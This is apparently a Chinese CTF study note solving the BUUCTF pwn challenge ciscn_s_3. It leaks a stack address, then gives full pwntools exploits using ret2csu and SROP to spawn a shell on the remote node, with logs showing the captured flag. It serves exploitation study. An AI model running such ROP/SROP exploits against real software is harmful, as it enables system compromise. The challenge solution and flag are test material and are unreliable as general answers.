1 2 3 4 5 6 7 [*] '/mnt/hgfs/0x9C_CTF_And_Studay_Note/Pwn_Study/pwn_exercise/BUUCTF/ciscn_s_3' Arch: amd64-64-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x400000) Stripped: No
ldd, 确保和远程 ubuntu18 libc 和 ld 版本一样,不然做出来 offset 有区别,本地和远程结果不一样
1 2 3 4 5 6 7 8 9 10 11 12 ❯ ldd ./ciscn_s_3 linux-vdso.so.1 (0x000071440971f000) libc.so.6 => /lib/x86_64-linux-gnu/libc.so.6 (0x0000714409400000) /lib64/ld-linux-x86-64.so.2 (0x0000714409721000) ❯ patchelf --set-interpreter ../../libc/ld-2.27.so ./ciscn_s_3 ❯ patchelf --replace-needed libc.so.6 ../../libc/libc-2.27.so ./ciscn_s_3 ❯ ldd ./ciscn_s_3 linux-vdso.so.1 (0x00007bcb38efd000) ../../libc/libc-2.27.so (0x00007bcb38a00000) ../../libc/ld-2.27.so => /lib64/ld-linux-x86-64.so.2 (0x00007bcb38eff000)
IDA
1 2 3 4 5 6 7 8 signed __int64 vuln () { signed __int64 v0; char buf[16 ]; v0 = sys_read(0 , buf, 0x400u LL); return sys_write(1u , buf, 0x30u LL); }
+++++++++++ 程序开头是直接用 syscall 中 fd 控制 read 和 write 的,所以函数返回的时候没有 ebp,直接执行 ret。 这道题有两种做法:
1 2 3 4 5 6 7 8 9 10 .text:00000000004004 D6 gadgets proc near .text:00000000004004 D6 ; __unwind { .text:00000000004004 D6 push rbp .text:00000000004004 D7 mov rbp, rsp .text:00000000004004 DA mov rax, 0F h .text:00000000004004E1 retn .text:00000000004004E1 gadgets endp ; sp-analysis failed .text:00000000004004E1 .text:00000000004004E2 ; --------------------------------------------------------------------------- .text:00000000004004E2 mov rax, 3B h ; ';'
看到有两个 gadget:
0xF , sigreturn 系统调用
0x3B , execve 系统调用
因为栈地址随机,所以我们要泄露栈地址,然后通过偏移计算出 buf 的地址。
动调发现: buf 起始地址为:buf: 0x7fffffffe030 ◂— 'aaaaaaaa\n'
Linux 的 x86_64 调用约定中 , rdi 参数编号为第二
1 2 3 4 pwndbg> stack 30 00:0000│ rbp rsp 0x7fffffffe040 —▸ 0x7fffffffe060 —▸ 0x400540 (__libc_csu_init) ◂— push r15 01:0008│+008 0x7fffffffe048 —▸ 0x400536 (main+25) ◂— nop 02:0010│+010 0x7fffffffe050 —▸ 0x7fffffffe148 —▸ 0x7fffffffe41f ◂— '/mnt/hgfs/0x9C_CTF_And_Study_Note/Pwn_Study/pwn_exercise/BUUCTF/ciscn_s_3'
0x7fffffffe148
就是对应的 rsi 的地址,计算偏移:
1 2 pwndbg> distance 0x7fffffffe030 0x7fffffffe148 0x7fffffffe030->0x7fffffffe148 is 0x118 bytes (0x23 words)
所以我们泄露 stack_addr 的过程就是:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 from pwn import *from LibcSearcher import *context(arch='amd64' , os='linux' , log_level='debug' ) io = process("./ciscn_s_3" ) elf = ELF("./ciscn_s_3" ) vuln_addr = 0x4004ED payload = b'a' * 15 + b'A' + p64(vuln_addr) io.sendline(payload) io.recvuntil("A" ) stack_addr = u64(io.recvuntil(b'\x7f' )[-6 :].ljust(8 ,b'\x00' )) print ("++++++++++ stack_addr:" ,hex (stack_addr))buf_addr = stack_addr - 0x118 print ("++++++++++ buf_addr:" ,hex (buf_addr))
1 2 ++++++++++ stack_addr: 0x7ffedb2b1f18 ++++++++++ buf_addr: 0x7ffedb2b1e00
0x0A ret2csu (ret2csu控制执行execve) 汇编窗口中按 G
, 搜索 __libc_csu_init
,找到 __libc_csu_init
段
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 .text:0000000000400540 __libc_csu_init proc near ; DATA XREF: _start+16 ↑o .text:0000000000400540 ; __unwind { .text:0000000000400540 push r15 .text:0000000000400542 push r14 .text:0000000000400544 mov r15d, edi .text:0000000000400547 push r13 .text:0000000000400549 push r12 .text:000000000040054B lea r12, __frame_dummy_init_array_entry .text:0000000000400552 push rbp .text:0000000000400553 lea rbp, __do_global_dtors_aux_fini_array_entry .text:000000000040055 A push rbx .text:000000000040055B mov r14, rsi .text:000000000040055 E mov r13, rdx .text:0000000000400561 sub rbp, r12 .text:0000000000400564 sub rsp, 8 .text:0000000000400568 sar rbp, 3 .text:000000000040056 C call _init_proc .text:0000000000400571 test rbp, rbp .text:0000000000400574 jz short loc_400596 .text:0000000000400576 xor ebx, ebx .text:0000000000400578 nop dword ptr [rax+rax+00000000 h] .text:0000000000400580 .text:0000000000400580 loc_400580: ; CODE XREF: __libc_csu_init+54 ↓j .text:0000000000400580 mov rdx, r13 .text:0000000000400583 mov rsi, r14 .text:0000000000400586 mov edi, r15d .text:0000000000400589 call ds:(__frame_dummy_init_array_entry - 600E10 h)[r12+rbx*8 ] .text:000000000040058 D add rbx, 1 .text:0000000000400591 cmp rbx, rbp .text:0000000000400594 jnz short loc_400580 .text:0000000000400596 .text:0000000000400596 loc_400596: ; CODE XREF: __libc_csu_init+34 ↑j .text:0000000000400596 add rsp, 8 .text:000000000040059 A pop rbx .text:000000000040059B pop rbp .text:000000000040059 C pop r12 .text:000000000040059 E pop r13 .text:00000000004005 A0 pop r14 .text:00000000004005 A2 pop r15 .text:00000000004005 A4 retn
因为我们要走 execve('/bin/sh',0,0);
, 所以我们要:
rax = 0x3B
rdi = ‘/bin/sh’
rsi = 0
rdx = 0
rax 题目给了: .text:00000000004004E2 mov rax, 3Bh ; ';'
rdi ROPgadget 可以找到 # 0x00000000004005a3 : pop rdi ; ret
rsi ROPgadget 和 csu 中都可以为0 rdx : 重点!!!!!!!!!!!!!!!!
1 2 3 4 5 6 pop_rdi_ret = 0x4005a3 ret_addr = 0x4003a9 syscall_addr = 0x400501
精心构造控制 csu 的值为我们想要的值
1 2 3 4 5 6 7 8 9 10 11 12 13 payload = p64(ret_addr) + b'/bin/sh\x00' payload += p64(0x4004E2 ) payload += p64(0x40059A ) payload += p64(0 ) + p64(1 ) payload += p64(buf_addr) + p64(0 ) * 3 payload += p64(0x400580 ) payload += p64(0 ) * 7 payload += p64(pop_rdi_ret) + p64(buf_addr + 8 ) payload += p64(syscall_addr) io.send(payload)
解题脚本:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 from pwn import *from LibcSearcher import *context(arch='amd64' , os='linux' , log_level='debug' ) io = remote('node5.buuoj.cn' ,26605 ) elf = ELF("./ciscn_s_3" ) vuln_addr = 0x4004ED payload = b'a' * 15 + b'A' + p64(vuln_addr) io.sendline(payload) io.recvuntil("A" ) stack_addr = u64(io.recvuntil(b'\x7f' )[-6 :].ljust(8 ,b'\x00' )) print ("++++++++++ stack_addr:" ,hex (stack_addr))buf_addr = stack_addr - 0x118 print ("++++++++++ buf_addr:" ,hex (buf_addr))pop_rdi_ret = 0x4005a3 ret_addr = 0x4003a9 syscall_addr = 0x400501 payload = p64(ret_addr) + b'/bin/sh\x00' payload += p64(0x4004E2 ) payload += p64(0x40059A ) payload += p64(0 ) + p64(1 ) payload += p64(buf_addr) + p64(0 ) * 3 payload += p64(0x400580 ) payload += p64(0 ) * 7 payload += p64(pop_rdi_ret) + p64(buf_addr + 8 ) payload += p64(syscall_addr) io.send(payload) io.interactive()
1 2 3 4 5 6 7 8 9 10 11 [DEBUG] Sent 0x3 bytes: b'id\n' [DEBUG] Received 0x2d bytes: b'uid=1000(ctf) gid=1000(ctf) groups=1000(ctf)\n' uid=1000(ctf) gid=1000(ctf) groups =1000(ctf) $ cat /flag [DEBUG] Sent 0xa bytes: b'cat /flag\n' [DEBUG] Received 0x2b bytes: b'flag{4b9c9c6f-66f2-4992-8033-b02400847694}\n' flag{4b9c9c6f-66f2-4992-8033-b02400847694}
0x0B SROP 题目在给了 0x3B
(execve) 的同时还给了 0xF
(sys_rt_sigreturn)
解题脚本:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 from pwn import *from LibcSearcher import *context(arch='amd64' , os='linux' , log_level='debug' ) io = remote('node5.buuoj.cn' ,26605 ) elf = ELF("./ciscn_s_3" ) vuln_addr = 0x4004ED payload = b'a' * 15 + b'A' + p64(vuln_addr) io.sendline(payload) io.recvuntil("A" ) stack_addr = u64(io.recvuntil(b'\x7f' )[-6 :].ljust(8 ,b'\x00' )) print ("++++++++++ stack_addr:" ,hex (stack_addr))buf_addr = stack_addr - 0x118 print ("++++++++++ buf_addr:" ,hex (buf_addr))syscall_addr = 0x400501 sigframe = SigreturnFrame() sigframe.rax = constants.SYS_execve sigframe.rdi = buf_addr sigframe.rsi = 0x0 sigframe.rdx = 0x0 sigframe.rip = syscall_addr payload = b'/bin/sh\x00' .ljust(0x10 , b'a' ) + p64(0x4004da ) + p64(syscall_addr) + bytes (sigframe) io.send(payload) io.interactive()
1 2 3 4 5 6 7 /bin/sh\x00aaaaaaaa\xda\x04@\x00\x00\x00\x00\x00\x01\x05@\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00$ id [DEBUG] Sent 0x3 bytes: b'id\n' [DEBUG] Received 0x2d bytes: b'uid=1000(ctf) gid=1000(ctf) groups=1000(ctf)\n' uid=1000(ctf) gid=1000(ctf) groups =1000(ctf) $